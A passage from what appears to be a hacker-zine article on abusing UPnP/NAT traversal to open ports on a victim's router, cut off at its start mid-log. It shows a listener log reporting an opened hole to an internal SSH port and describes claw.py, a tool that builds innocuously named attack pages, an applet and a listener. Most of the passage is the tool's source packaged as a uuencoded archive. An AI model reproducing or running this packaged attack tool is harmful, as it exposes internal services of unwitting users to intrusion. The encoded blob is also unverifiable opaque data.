Sat, 12 Apr 2008 01:13:45 GMT: [+] Opened hole for port: 22 on ip: 1.2.3.4
|
||
|
Sat, 12 Apr 2008 01:13:45 GMT: [+] ---- Internal port: 22 on ip:
|
||
|
192.168.0.100 - open.
|
||
|
Sat, 12 Apr 2008 01:13:53 GMT: Server stopped.
|
||
|
|
||
|
As you can see, the victim had a service running on port 22.
|
||
|
|
||
|
--[ 3 - Putting it all together with Python.
|
||
|
|
||
|
Since it's a bit cumbersome to remember which bit to swivel where and when
|
||
|
or what protocol's to use and how, we've provided an extensible python
|
||
|
script that generates the two webpages (with the options to name them
|
||
|
something a little more innocuous), MyAddress.class, and a listener based
|
||
|
on specified parameters.
|
||
|
|
||
|
Type ./claw.py -h for usage.
|
||
|
|
||
|
--[ 4 - References
|
||
|
|
||
|
[1] Network Address Translation :: http://www.faqs.org/rfcs/rfc1631.html
|
||
|
[2] UPnP NAT Traversal
|
||
|
[3] Khaled would be proud :: http://www.mirc.co.uk/help/rfc1459.txt
|
||
|
[4] MyAddress Java Applet
|
||
|
:: http://reglos.de/myaddress/MyAddress.html
|
||
|
[5] Defunct IP address representation
|
||
|
http://www.mirrors.wiretapped.net/security/info/textfiles/keen-veracity/ ..
|
||
|
kv6.txt
|
||
|
|
||
|
--[ 5 - Appendix A: Source code
|
||
|
|
||
|
The source code used in this paper was written by arachne.
|
||
|
We really appreciate her work on this project.
|
||
|
|
||
|
begin 644 claw.tgz
|
||
|
M'XL(`,`+`$@``]1:_U?;QK+OK]9?L18AEH(M!`D),3B!``FT@%5P<I,2ZB/;
|
||
|
M`NM&EO0D&?#M[?_^/C.[DB7CM'WWG9[SGD^(5J/9V=GYOB,-`_?>BF<__)T_
|
||
|
M&[]7MBVO+[<J5]O>VMAX\?*'C0UY\_+%BQ_LC><O[,T?A/VW<J5^TS1S$R%^
|
||
|
M<!-W.`Z][^+]V7.Y&;NX_C_YK=37IVFR/O##]7B6C:-0TW5=:Q_RQ9_$49*)
|
||
|
M=);FPULOB^*L>.`%WG!^%PV_><7==)J/+K/$#V]/NIKVZ>CB\J1[+CI"MRW;
|
||
|
MVM"UPZ/WE[C]3;^/;OS`T]OZ_=A/OWE)"J/4FT*?N`/UX&RV/QHE7II:P\!-
|
||
|
M4_UW[?*X>]'K.CVBH-^-C]MQVVE'[4%;UTZ[YQ_R)V,OB'7M;/]S'^N_ZUZ>
|
||
|
M]+X`_!QKO_OX`:/W;I!ZVIV7#*+4SV:`V)J7)/UHFF&,S5MI-@)`&WF#Z>UC
|
||
|
M\"1=`ARYF?L8"A(W8IJZMYZ!61U=-]M:33_TTSAP9ZG(QIY\*OSP)DHF;N9'
|
||
|
MH<"(GV#;]\*-X\`?\@-+B`,W%`-/W/G>O3<2]WXV9LS66*2X&8YUK<9,&SI?
|
||
|
M1!3JIE;S;P16%W7(1L?Z-7!F$)-N<GMW95^+-:&WA8X+L(`>0WV9>/.FM!$H
|
||
|
M1B?E71Y<G#@]J+2M7=VMIM=:#]H3<1+=)NX$QA)ZB9MYV-A]).!GF3\4Q[VS
|
||
|
M4Q%CCZDPO#L_L,;9)-">"AK3GOE>#&8"HG*G068*;,G-Q%!N=9IBHUDDHM@+
|
||
|
MQ2V(W[LSH8VC`/3N?%=\=$('@NE!"HJ`F'C#L1OZZ80E.8I@C"`)/O$/E&"F
|
||
|
M`]`$^9.+`W%X<"`NC\X/1>"'I`;ATJR)B*,TLS3M\.3RX'3_Y.SHHBWW.HQ&
|
||
|
M'A%RN@<@P63<+/,F<4:T1]XD"M.,A,"*&;BI/]1(H$,_)I8C,@=B:.J<.S2#
|
||
|
M/":EO;IB$#U@QV.?J(KS_1Z6_WBY_^&HK:VFX@IN"!M(K\75A!P$5Y>OFE9C
|
||
|
M0*U6HQ5I2$)+4IA'`,$FT7WJT4KXYX=^YN>\P1!J-?#N#K]!@(=2>"RA0DT"
|
||
|
MEC,-T]@;^C>^-[*TFJN6(H:G#W[@N\E,KLE*(ZE)LX[=61"YHQVY3.@-A_!D
|
||
|
M0AY-F9O#[AFHPVJ`ZB43/TUI=V"$\1>YF1O*(D=:E^WQ$G;=&D#>?M8G8ZO5
|
||
|
MR")<&4!(ZI*G6\6G%`U,1GHBS(&7O1_#R`@SMV3XF#?@:5!Y@;R,2VC->_B.
|
||
|
MT%IC(*?CZ%Z:(<4G`%MTI0>0`6Z/Q7`,Z=5JQ_A?<LGF%D)VF?0!.$F5.>;B
|
||
|
M1_?.O1PF/BR0^?=YHO?@#:<9\UIF$UY,<QZSJ"RQGT5]<K6:BZ4G$[>5>K$K
|
||
|
M%PM\\`5),IYDL#"C.4M_RLTCR1$1IKWQ?*N)_U[1?]OTW^NF>"HV-XF]6`QI
|
||
|
MW5K-H0SS=TF'9[Q\^?*5A6'+H<"61<,HJ-6Z"`[139O"Q<(<@O"\ME-$&1?!
|
||
|
M;SI`@A2S:,J1#)8H(K"7R#5RPBD9"W`:)-YO'NWTCM03#A//A=L626J'?%I,
|
||
|
MHL3CH$8#33OZO'_FG,KX`/LA1QE%$]</+>A.0&8;SY^_$M@'!3EH&`(6<)+)
|
||
|
MC-Q$QF&$=;$J#)6HFZ*4%BHW2`MTYSWXF;%ARKR&39!3]X&2&BYR!(!IAS(\
|
||
|
M9SE'/O9D/`#2=.*%D%F*_W.]+Z:XIDB\;)J$%"%=.-R0+<Z%LZK%H%:RQXF7
|
||
|
M4<D`8\Z2&:4T1,>T28ND2,"R:+'DA3DK*H>FR"L%[,A[&'IQ7N-8'_ARE"01
|
||
|
M)N`1D96I&S<6IT9.I8$7&K20*=Z(S3F2WHLB,7'#67FKN8=1%EZ)QDU6GBO`
|
||
|
M?$BQ$)X&4XT2"[]'M.UVC7\K@E0J4%O$*"\HUN[,TQED&(4JJ,&.$K!#6KAJ
|
||
|
M3+B^:EQ#'$00*F12=Q"I/UG,#1`%2J+VLLF-(ADTA"`*HV6)@C8`6YTA#,(G
|
||
|
MT]@?3J-IJM4>;6ICOHB[P.'&M6)#+$-I5-)``XQP_@G<))A593-R)R&E%ZTV
|
||
|
M_ZW`?OR[M`X-D@:BIDNIGHR&^`&/%,"%H;?&5(/*T,RU6JY=TCVX8\P.ZJC6
|
||
|
M'5=2*_!Q9+`PHJ+''5#]5[BL?"[(]<F<)Q`:U0#BKJ'$7W@Y:;&8!DE.W&^8
|
||
|
MH::S\\2Q]'VJ.'AP'R6C&2+1B<QLX10U34*^0M2]_YJBQ%7S*W4P^2C5A1-*
|
||
|
MQE22Y8F0LA.B%`!>$(#N)9CS2APL3(M"2)TS6@0\F5P3:`A*9[-,IEZ38Y\B
|
||
|
M`=1I,%+^,*MNF%:5E4N")#!W'A4B<BG.@X2*F4"E@@V^Y*44[J%`YO)6UGN4
|
||
|
M";(^'5XD@2"*8@[4M#!V]UBEQZQ297J<C*5Q+N+%%3Q*2\OQG#(>17R%5JLM
|
||
|
M($9EQ(CSZW**`XD(@&O=H.(P]/5UW:1G+78LU&5\`,JRN(TGJ.C=.6$*^@59
|
||
|
M&68Y8FL:GZ^*9$>QFS+6@.I8!&#YE$MI#XN2=(OTQ>>-&]'O4V79[QLX(-XT
|
||
|
M18CXW.0Z@5U(3[V\*%3S&(.-.:_9"7E'%OO^3167SY0P*CC9/*!2Z*_1:A:3
|
||
|
MZC#%',0S.CQ1DPRJ:C2#3NELRGQ*WJAP\.3.L#9JB.$8651NVDMW5#ZJU+1"
|
||
|
M$E'G-"I#")DY4F(-$9/5RCB)C`(O^5^NC*":L5.H2E91A4/B"#\2!FQ?GN;-
|
||
|
M'.,"00!^<:P0I1+SPY1*IG`9#IOY/G*1EW9BT%::O"$S-Q0_&8Z&0R/'YF2O
|
||
|
MDGFJ"D/)G^(]<6\RDE=1A3^2(LCQ80Z4EUG4'UH1MM-`?=-X9$[TA&JY'?$_
|
||
|
MM:L<Q5JP:UZGR43-/S6L[QM.V5)0?TU##P?`&!7$JKU!A4*MA@-Y<2[E')L]
|
||
|
M9'Q`]V,ZK/.0V5\3$KU"8]5V5VV4'#MT9O\S*_P_866)SN<2#N:A&_25`Y^3
|
||
|
M&Y7`V'T!]!Z6XA;@.6X5ROC]A$)&XE&='*-H,/2KKP_VQC6$CL&F?4V2ER-K
|
||
|
M[:T<&%=VZ_7UVENS<FNRPBJ,/R9>>=Q>/A.<?7^>'Y=G:710)80>TJPL4E05
|
||
|
M7*MQ%Z,C.`PF5`]9*#%&!#78LF3)*W&E\#654<@-!E$4&(0LJ=;((/QP2H*E
|
||
|
MG%6;@'258]0JV7`LYRA"$VHTD>0EC:KV8(S3$"5H;$RLVR2:QCA-F-6U'BVD
|
||
|
MA+ILJ>4K*9.8K[!\@256\:=K5.WK^[M9-,_\^:9\?-K]8-TG?D:6MW8MNCAQ
|
||
|
MPV>HJ\5^PG8B5JG.@LO3B$]I%:+-,O_F(EE)MX6?.%%B64)5M`03KDBN65:Q
|
||
|
M:2+&&/HPB.#4>E.GWH!N7K%]4=O**#%1XHAS/S<6+1G1<F.3CJX2"9W^*'GT
|
||
|
MBB1*P>'.'ZG,P=TSP4TBU+O?6#3J>$^98[/28E2-FG1I]S"&FL9"=@VS,31Q
|
||
|
M.Z8.&R<=ZL19RPL9+@([YYP"N=!38PIA'94-9+W6T:E[0<T+ZEU0ZV)S$T<)
|
||
|
MJKDZC7EOJ"&#[@GWX0+_7XB9E6[OO))@"?/ZL!Z^%D!E4GPM2AYP1"4/+CE(
|
||
|
M,@:@'.1@8@E`NN0@YZ+;ZQYT3ZE[?J6RNWFM4@?JYF_3F!@H98V+4M8X<?)L
|
||
|
M$$1#F-G$12&#*.3243^CPD:^**#S.(T&,\K;O,D5:FI\/'2@JJ%+8[!V'X4-
|
||
|
M'`.&&<XP.&24FJNJVX-D%U!:H2-`ZE'2=S-70(KYZ<(5L@LBZP,_Q.D`N9?Z
|
||
|
M""&8I4V#"PJ2DBUY,=3=_OO^R?E1KYD_O>P>_-0__'"Q?V:JF9;B`SZVL?G<
|
||
|
M*OU!X=LVNZ+*:XRNMDW,&";.X4JNTD^EG<GS=E.XZGJOKNIEB)1YEP^Y4N;4
|
||
|
M7V>KI\=_W>3=HH,.!.XQ-T;<=I9^$#JR_,GSOLHCV$`.,@IC,^6Y>8Y;BI*J
|
||
|
M(7(2WL'&1Z4C70NZ^Q;22;.HPF1HJY#-JZ5.0=U:++,(;<YE@;98YG"N!)=E
|
||
|
M9RKQ6?$QOBD9>W6N]+E'<_.31L&G/'*HES`E-S2K0%YT$<9!LPHC+YV#E!3F
|
||
|
M`+4LLTHE@$S2V20.J,G?X9<VNQ1WWN`")\`E\[/`>V-\#'DP,G?7)43;I1,V
|
||
|
M_)5><'0>O7QC7^KHDYEJJ>NPS5FJ^JK^*!MW=%L78\^_'6<T?+.[+NF!L$++
|
||
|
M9C$H9,@1Z_]T[UP)U?&\WFIIM3LW$9Q3PVD0[,A[)=T%"(6T*^I;KE$]71$R
|
||
|
M)1Q=OU;(0R)G[U#/A[,TTEZQ+<,WQ6_E'`[`#K]D"L$@43/,G=]+,Q'*6%`&
|
||
|
MYDEI_X8P,V3#MO@):-TCTD?W%F<LG+AOHVC$X\:U5<7=^1WN2I6&ER0@*,,%
|
||
|
MK5=3)+!<SY]XT30S&O.ED6Z>;]DF]E=F+=]!BG3-S/DW-"9S)=&9ZB1)HH#=
|
||
|
MTA&B(QH-'(O6U\6.`45^\T0ZI69*UI"]:W(>LBF2XLA78I2WU&``#2N-`S\S
|
||
|
M*+WG3P)J+5B!%]YF8X(AL1FLU8Z](_S=`/^MK9E\8!E))MRKH.6W-JZ?G;G9
|
||
|
M&+YS;VQNO6SZ3#%O4/CQPFZI!TBOF=B_>;M+1%95),1&7QN854)5G%QP=6EB
|
||
|
M__XWF<^NL-7HC30]M;U<I,1HJ=F07@WCM34ROUJA;@3/H\"CX;O9R<B0;4RV
|
||
|
M"=-*DR%U-J4MR]@O+;A!K\U^UUHM>,>Z=!0:*1<>1*,9=>`0"CKZW#AT*&X6
|
||
|
MP,5BV7%L"SM^V$%X3T9>TJ83_`YTG=SZ89L>D.>I%W#2MPO.=.&/*K?@LP,>
|
||
|
ME_FYK,[D&LKO)=%%ZH4O2.JE6Z+^55]P:`Y\4AC%PM#AZGQM>?<'RZ^3G%AL
|
||
|
M'`!EY5ES_\/HF`N_T`9'K;D/1B0O@XI@#N-L3F3]-PD=-0IS(.M%9,B;V0TV
|
||
|
M%IC=W%W)X/)LD]\SD:HWLX<E$ZM4JUM(MU/:6*-\<&RLL0M5D6F!)>A\0FBL
|
||
|
M<3-.35$YIT"6>LI3-"MH9^Z#L9ODNRQ\=$>&2_$;;<-*IX.)3\%55$-@OBWQ
|
||
|
M^Q++KUB\$G5U11)\%<)J("/GU_GT)B(W:MSK\*^2U2N(R[KL%/W3JDG*G,T?
|
||
|
M2U3A4N$LBG78F.R6P`V!3E0]F`BG/OD&P$VR=5JP166KKI&?<']$XO!8NDA)
|
||
|
MB7GZK8!8(QV=C$+_"U2(RT=T)/"O45(ZSVD4MPNS>7/?=;_[N?MQT^?QYTCY
|
||
|
M5T11\0U2AJB>CY-B=,GU^:67W'G)\B^2Z#,F?E$Y/Z8C0Z)ZXXP&&=!MT0K7
|
||
|
M5T=6_H\/Q5_YW"KDSR`/?2KLAYL;^;V721_(;+XPFV(YGFU+3,;;>/D'>!*3
|
||
|
M\;;_$(T0<1YG!/7<U%:$)_N><H=YC_8TNFTO/=)2DI']>0\&W>%OH?A\P;9\
|
||
|
M$T(R.4H!',_[:PR@F=0_P:7`2?DS*G5'[YPN3WXY`FS#?K&]]>JEEC,S\H)R
|
||
|
M5S<OL&_">57-3.2]O_SYN/1\;'$_0G:T%EC,UZ'LOGPA;A17V:R#]VH?;6'=
|
||
|
MI2N7EJ;5#$6_*717_TZS37U[-F^OYR14D\DL^/?3Q1WD9\KJC&("GR<+-5-P
|
||
|
MR?=-G3V#`%:_S];1[V-$&N[W^:,PA#*=#]!$NK2T60+F(-D9G+<.^>P4T7=B
|
||
|
M;I9+0)T-Z6T>B1I'[*R?^O_R4$]5Y%Y1J3P/\UD>H?1KJ)>U:]T$TW3,8N?W
|
||
|
M8849MH7\6DTO=$G]E""ZE1\E)9X[''NC'=DC($'`,6ZYS5^R"2:D\6<91(MP
|
||
|
MJ4DE&_P#T/@VUX(21RYM,/KL/__IYI)FP+-"=\QTA^,?1)C<T,#05]VF6!V)
|
||
|
MU8%8_2)6/XL/9SV]*9%N)XQBFO-/^G2A6_^,_-"XXHPU'.,$;K*0>,AO3;',
|
||
|
MM?EX;\Q''E"JG7ZC''VMRPPRFE0Q3!5^N$DH-U841^WO]6"*%@M7M;*6W^#3
|
||
|
M+0Q.8>?ME[[W0-&Q27&<J9K\(M0NNC2%H^8O&;RLT*H\..=:E8D^[R=P(N<V
|
||
|
M1(K\X9-O*5\!^4:_3ZVE?K^!363#.&4)%/%*Q8\\C*C60N.[E01*?;8[>898
|
||
|
M1"L5%IKL[@()!FSHU.C-'C+HG=\!J*>6,M;B7K68+S,4'=0QE=S2QQK2N\H;
|
||
|
MJ&BT=^#(D6$0KTIOS045+RXC2='WU9DWXOXR?=?E\2MCU,BKOL6)M42QRH7%
|
||
|
MESZ,TZ.EV=OE)SK*3+S*QSGDO_1ICOJ^A=3S>KN]T`@O$#:N94SF+TP2UT^]
|
||
|
M.?F?O-D@<I,1M\J3J8K9;`"U&S^D1J2*I7.)E5\++.P@Z9>RQ#(!17%,,<C4
|
||
|
MY!NZ6JWH2[P+HH&JC08>CFKTLE$L-&.TLXON+[]T]\2*T'OU%6=/O-O#'ZXG
|
||
|
MN/XH\&?C#_<_8?P3QC]A?(KQ*9YK9V>`G&%T!N@YH.<8=W'M`N[@ZN#Z,YY=
|
||
|
M8'R!ZR6>]S#NV33[(T8?`?DD]NHKB.@_.[OBRL;?'OXP_@K85]Q_Q?U7W%_C
|
||
|
M_AKWU[C7SJX!^1607P'Y%9!?G=VZ<(Z%`7GJQ/SJYV="=\0KP-;L^IYNB[?B
|
||
|
MZ1-3U+]B]O;>H6@X]0,)M1GZVF;8>PG;?4:PMF#8B80=J]EMAZ&G$MICZ,X>
|
||
|
MUG;J7:Q](!H":Q^+7?M8/-NK7P#OG6@T`:/9'7$L,.4C,$]$8QM06W0DYY]U
|
||
|
M$F3C$#`AWNPQYU<ZB;_A`':*V6]!<TW4?P5T3S2^`DH2!<S1ZX"=H=)CBGO.
|
||
|
MJ3!L_0GC&2^8'^UL'S2?V7J#US;V3*$;XIWMB!-'?PXC^`"^D3=VQ;&$'0+V
|
||
|
MHVC:@'W&;,=QQ*F]\@30*]%L-L7:9_$S--UU"+;R5+1VFZ)Y+$XP^Y+Q5BR>
|
||
|
MW:1]$V9OCZ'/&=IZP;,_V?IKP-K"/`;L5'P@F*._!6R75VGU,/L8:_]C3W\'
|
||
|
MZ%MA]IK"$N((F)]MO078.V%\!JPI#K'V%Z&O`W:$TANP;<P^P.POCFX#"N$3
|
||
|
MYB'4Y(A?]O2M%?'DB3"-IK"WQ=&>4Z_SOI\8+`O[6,ZNZP[1?-(2YBF@GX7C
|
||
|
M/$'9C+]-41?8]+,7AW51[^'Z\X_;KU[OKWU:=7:?_GP$?>O7]=U&_?3UJXV5
|
||
|
MG4]?>J]?[?<LS%[5]TZ>/SW9[[Q_TMUYNGK^^N)Z??O]R='V/^PK88L7S_2C
|
||
|
M)FSM_>JG[<WKT^V77SZL?6SU=M\?G;^^/,5:>Z6UOAQA%7/G_5;/?KEQN/M^
|
||
|
MZW(7.-H9>%O$VGIQZ!#]-M%7U,]?O[*[6UMFT_YT?0XJ!YVG1UWMO]NYTN>T
|
||
|
ME23^G;]B1A<2I]`!B".1,,(8@PU8@!V;I))]WGVIVDVRR4NE]K_?7\](`GR\
|
||
|
M>M^V:DM392.DZ9F^>T;T]*)_-I>T^5U\#J:.%UN.$[<!G52T4SH/5-KWF/&J
|
||
|
MM`"]-UT\#9R]Z#G8UM>]#D^JR87K;JU9T*X+/FCK*,,C&N[L:^`PQ]P[\U[,
|
||
|
MR[O3C$O=SA#0PW6WPZ>]=OVFL1:XO#G"90<\B.<3_PI7]?[.OPD\?QNT[Y*T
|
||
|
M=_2T]VG?U45I,=BU8G!AG4*<_SG$YIJXU1^O+@@.F!\@)P?(5=2?#*YSNM<Y
|
||
|
M[T\D"ZZ1;)7E]#7-.$A3CNCM6NL>1K#/_0F@:6[2+2<Z'3_9CWHD5W5^T0ZA
|
||
|
M[J/HV?R@6^K64ZUTAV7K`G.1ULR?4I3-7UJ\1E.06)M@$L0#TB;N/:5,C$Y<
|
||
|
M&SR3]]/Y4]WK/,6AM,BP:"2Q)491QZ^.TDZ>0K\JE0/7()/:8438677C.ZZZ
|
||
|
M>-U"+_Q0R*'WFL1(3J6%>F-NZL[MNNYZ5[4S;U,]PW=;8_QL!6SCI(E1^%A7
|
||
|
M?2UNNG2MZ;ZO/<`>`]AW=]>ZZ&]O\2U2;,\.R89->"6>6&4[V=?<C8EGON)J
|
||
|
MNNHLQ?USLB]8%WD'UE)M;P5_QG0[65EV0O;>4KOMU1SW?'NKPQOL$U-;7?>W
|
||
|
MB\U`X4G/B&],+;8!;3,-8XT#8*MZ]>O^>3T!#Q)_HL^';8_FU>$PFAZP5L>^
|
||
|
MXXWWCJG5H[ZQDO(.,8+;\BT'6(8NYNFU@SOBC*F#MZ!"\S*H_1(63-(3%(JY
|
||
|
M*ZU.=!;`G_3:^ZL!:%.\H.F-+:NEM73!J23(:46L*/>WD,N:0\_[:_A%KIO=
|
||
|
M3BWL3ORX/^*-/C@93.(X()\^CI>8074ZG'C3=&0_,3^T9<?).XSQQ'"U?=/9
|
||
|
M^#;U<@V,[]UM^FTK'L2MJ#M9Q;AO'WNOTJ*:@%/&7EBI-GY=,]3QZAK><PYN
|
||
|
MXIX^ZAO^C:#;<(W]=6_G$X:6VXEY8+360:=^PVRN'W\WM<PSLU7UK`;,>Z"C
|
||
|
M=6[%06<8#29>&)Q;UWV'[X:[P15BQCGPNJE.6K%9J\`'Z.O!FE>!SSCH6`OH
|
||
|
M6OON"G,VCN>H3@1MI#7U-UY,?##=\9[;FY;E)J27%RZ\Y!K06]_HM05'--`9
|
||
|
M#4E+8VA,I[4AZ?%->GU#\33P;-\JMWR;1O9*BY8?>42[#ZR"K9_0*+[AW](H
|
||
|
M;".U!9_KOOB,=8^BLS\ENW@+[[!IZ=!SSR&=,O1QH,%G=^HQ)'8S-'Q$/V@(
|
||
|
M#R)0]<RG'Z(!S8_(0YI(LM<AWZB[%19SEEI,)2A;T3#S`<*^^<1?#=OZ7&BH
|
||
|
M$5Q`^QWR-:091(F-$2';A"+O,*5(F0SCH5:G"'R.N<^)"_MSQ%.MOZU#OQ!]
|
||
|
M-`OQE&QL2/?-_DZ,V*`1'4AQJ.EC1(,R-'%70Z]%WLN=Z`MAL5N:0^I8OF8@
|
||
|
MO3-P7^<110.=8G@\(%O:BKO7`X%+3*-U2#/ZNP'1+SP5YE=Z';(L:P9YO[PV
|
||
|
MP-/XE77#874D]+SQ=$T@[!AC'T5B0&R6@)(\XKIX!AN33\N@8`E_=49TE8_7
|
||
|
M$%NY(J@FS_4`<RO67X[VJ5ZX60P05H*XX=]"WY>B)[AG;$\C$>2_@88D;[S3
|
||
|
M?J6%]G+,(NU\->H'$@<OCT1B->>TL=J#%AQT8'^\"G2A29="'FR5<RU?'Q[-
|
||
|
ME]U;D72N2'/)WV*^6K^]WPRVOMH'AS'W5GC$[*X&WI\'I_=TTN:!])S5[-X;
|
||
|
M(X:\@S9A<K'(>3PY@;2%=LK1ZND]6-$J[D)Z@&8D7V!:KI_!0N.JX+=^T]U9
|
||
|
M%X,R>!'7L_439KF['D#6V4H7:\64^[S#(_"4]-@<;(5%IK%C==,S]KN6L3\;
|
||
|
MMC>I/5Z(>V+E$0W+_@UY!&A$)"TD2OI'7D#9M:Y]\AP=2R6,T;<\;-]=4A3<
|
||
|
M[\3<NR#JE_W8W=)*V]]!:Y,`:U7:69J,WKUYS`I9G5[5)]AMT2?%;^4*.R3Y
|
||
|
M!K\ZQYY$7JY"M2.O5!\[+7E9F6*W)1OMP@B:FO(^[U%]R'O<I'/@^2I_7KO-
|
||
|
MGY<6M+\3,\#JY9X/EE\E7-0N`X$\Q&79=LKCV]DBY'7\-1JA;7MJ5R\M*I==
|
||
|
MYO:[S%M6WC*VS'JX];!]CRD#P[9]WL?V#_T\]'.39*Z%C2W3)CW:U=3F[FR`
|
||
|
M'=[`T;1WY_""'2U<-0PX9O-RSJI0>\X]?;%D:XS:PI\M^OL#>"8MO-HP=0VH
|
||
|
MVF+.Z-T'7+'-(::0]N6<:7-F+;G+#`_[?VQ'H5U+HD:EO:!*5]B)8_,H_E4I
|
||
|
MYBFW@&371'J-1L`^OP4Q,"W$OIQ7F6HR%UMB8&Z0$#EZUAC6/QL:^QWVWO0Y
|
||
|
M)^D-EA3^L/MGO*=,':,*^N==+$6FA'DTVC*]`NR3F18YN*X:6%'/*I'I@48'
|
||
|
M?STM6A.7T&>*/C/9AR6`1J^>Z`4%Q769KE<A&V77`CH<$72`9>9L'G)C8;--
|
||
|
MY=($W9VJQ^KKZ8S=#UCCWF,-93JK7,)-7Z;?'6![+['=.C3WE<15TS#WU9+-
|
||
|
MVLXL0?B]9?K5CJG:#`IXASEU_`7`B://`GTP?X)GG$-Z-ZXRNR>/?!%H886@
|
||
|
M+M%;DQ!L?[%D?7\]NY?/>^FH@,Q'97M!=Y#26J^,@"7IW:7'FNNIPU/^&J/T
|
||
|
M&OK6CDR"MB987PEH?4'[W<C4TE&"[%K0#R@G&#,%]/,^>`2IZ2D?2@O#2;^-
|
||
|
M0+N:\I:-9UHX@X3L&=F!/9J2_JMSLJ!*PA);]9A"[[B8K9(F,"=D#GTV0N8R
|
||
|
M%?H=L@=Z:=&T>9^IMZQGLP^L;)+5O:<7%]&2JX"V-&BALL!ZB]TS;K`FM'*I
|
||
|
MO856\B;H8UA&N4P?@=\\6+);TD&PLDF?I8701IX(4Z:YN2,HD!XFQ0LV+IYY
|
||
|
MI+3VF(V7T@>0;]&O<M!&EV2=:&%[PLP'NOX@-74K^:&\P[2;0/@$S`)HS8`L
|
||
|
MZ[4*..>3]>L#Z%-%6JUZUP'_&Y#)`^2?/-6:TB+5&]R97Y*$FO=CYB]KI/-N
|
||
|
M"E7W(7L56MNL#!A+-8CZEA;-?LC:T/%:RU1(C\0(D'$+>+3I#_)5^@>KU,))
|
||
|
M:I-=TG.8HVL[>Z9@([$FCL6N.UH2S=LJH%J;-RN:.QO!&&7:NT4L2:UB>Z2_
|
||
|
M#]`*E1A=#^FUUH#92W[.C"D\E#(EW[]*/51I(7R4#O,B&>G02)OW"+*]9%.Z
|
||
|
M6:,WS?!0;7I!AGZ0#I;+E&G*7?),)EV=,6-`GS-FV&Q@\P@^G`6AXM.<,\8O
|
||
|
M625D?=(J(V%7-A?QA]Z((AH8#^S.YFU@P[FM='*?!I_';>'3F*W,B<(-J&M7
|
||
|
MEC55LYM36O7`EVE3(:TZR7QTE4O$KCZ71R.3![:\\,AD@541C#C#[A<-.'CT
|
||
|
M%?XU9$.RFO*`&4M^R]0'-J1^S5LVP2?H%C&+O2-M9<*WF[/<6ZG;S%LY#-K9
|
||
|
M$O?(O[8A\\D6T/IH]9)%O!5S/(@YTAEPRY0S,&AS6/DS:#(<H',$_0R_TN*O
|
||
|
M8/C:#*7%6[IJ)L=S!**GP-!X&2]AYZ1K1U#1@:ZQB`A-\J&G\C#$FU*A`AKQ
|
||
|
M/%2ZN79@A0-H.0\L@[T.S:6>?V!'T*9&J-&Q3$F[!C[T8->T"O#'8ETAM(C6
|
||
|
M$@E%0=RI5A7BTGM8P8!><$L+C,CG:/,\OH2\._=)4N_)[ZS(.Y-?&[/&$MX7
|
||
|
MEIAQQPR90#-"O&`F;-I6RO1\Q.!.\;V)#079&;U]QRK#K)$9G#-+?-X0Y(6@
|
||
|
MGVB$52">UN!C&&*)K<S63%]C?@^8I_%X5PD;,KJ'AHBN62P1W]4'>,IW^`S3
|
||
|
M3\2:J+<AWW*+J[;P4U)*X)(CYVF>\OL]`X%2'[#E7;(*K;B63+-A.E"%<DB?
|
||
|
M6)?23SP*5EPV5CZ*R>HV.Z/H)-906*^VEE`N[8&5FEA-^8R/B6-RL1JJ5HF5
|
||
|
M'K_\EO]L%8T^4[)&5O&GD5V8)S]H66E?61[G>6?Q_.?/QF^/E'QLBE%K3`)D
|
||
|
ML`"4-RBC4J0<F5:.PG%61MHKNW/XD2_YS[?'T]/]HA!.GJ8NDNW$R%2&9"(2
|
||
|
MZ^F(\<\O'S_]4YPS_'147:*AU)@\6'242)#^=DZI!Q\^F%E6?Y:0;8ETB(<G
|
||
|
M/[2GG;/4_X]_I7-V/N#77^F<'B(0#)79&W1P^\._?OS#5"25=`P=)/&'+Z((
|
||
|
M4)Z(6F.GB:DU,8WH(\<4^07IV>Y/='[PVV=Y^(#.*/QZ_/3]ZU=9P(&^I+^0
|
||
|
MRDE^?7T!_N<WRBA[I).&?V??'__]\_/WQ]\L4;:$3B$]^?V<\FS27[2S$TEY
|
||
|
MBG]94<KB^)'`.*_VH<@$$EGJ0$K_3$Q.F2&2"_)$A>@I4P6>GGZ0QYN/C\'0
|
||
|
MN1(Z9?+QBRBN\]OA<$-Z=/K[UW^QPQF;7T#R,3T!_0=,X!-02X_LL_QD#"5H
|
||
|
M_$[)&:<'=+*?O7]/CSW+<\\G&4:_EPXI#\\3A%*=..2"U?)3GY*D2)ZW$<?O
|
||
|
M!<3A5"CNB!.%6'JEQW\H^8!^V?_Q4Y3W$<P6&4ZRULFOSS\D-5D^A#RU((ZT
|
||
|
M'+[F\].M0S:51$[Y]4E)'S3^^/[SR]_`8#.[(7]6?P)_Y`N.\J]>3K\B_"DG
|
||
|
M1"8)$C)4YN.D1!<5SA*%G;)28.9Q`8Q#A2R+SA?+"F.?,\9\/RIRD`KXI!H#
|
||
|
M98?^`_[QXS\/'47%##G."?QP>`I+5.6%NG+LP+#[^IZ-Z7M/J9+%R)I>DL;<
|
||
|
M\/%78W+DH?TBP5F1L]?();D"TP.";X;L4/<BQRP=AO"J8GE=Q7>9DTG&)["`
|
||
|
M*,2INF,L'G,TLKILKW)=VO?G/W[(:F@B0T06Z:*4(7+,/ZERA#S9G:.5#DMH
|
||
|
M\3T34:&78D?9V`2:9>2)9*6L]`T>I,5O\BH2A/9%6LGCQY/*%NFYN$.5J:R`
|
||
|
M1@V^CB@Y$:DLY_'G*O.L@`=%*/3Z>E2=2GE%JPXC#Y[KTN%A=<A:DD;*=)($
|
||
|
M1D?5-WY]__CMVZL'%ZFBA#R(>*@-E-<1:O7V%)%__`Y/>Y2QF;J'_#:-:*9)
|
||
|
MA&DA#EG=X^\_TOA%'?.36R<%.TI90$XK<[P(F.9;G53P.`"*4ATOP:6'+(\+
|
||
|
M>AR@TKH=+\'E)S%/*WP<8$5ICI<@T\.:QP4\2CFGLI3)DY(]-79:.B?[_NO)
|
||
|
M]S2"EX5`7DN#RE=*4E!/<N&4+!>.JI)(72F5U/K'[Q]+_]L:ET4K6M&*5K2B
|
||
|
M%:UH12M:T8I6M*(5K6A%*UK1BE:THA6M:$4K6M&*5K2B%:UH12O:_VO[+\U>
|
||
|
&F;<`>```
|
||
|
`
|
||
|
end
|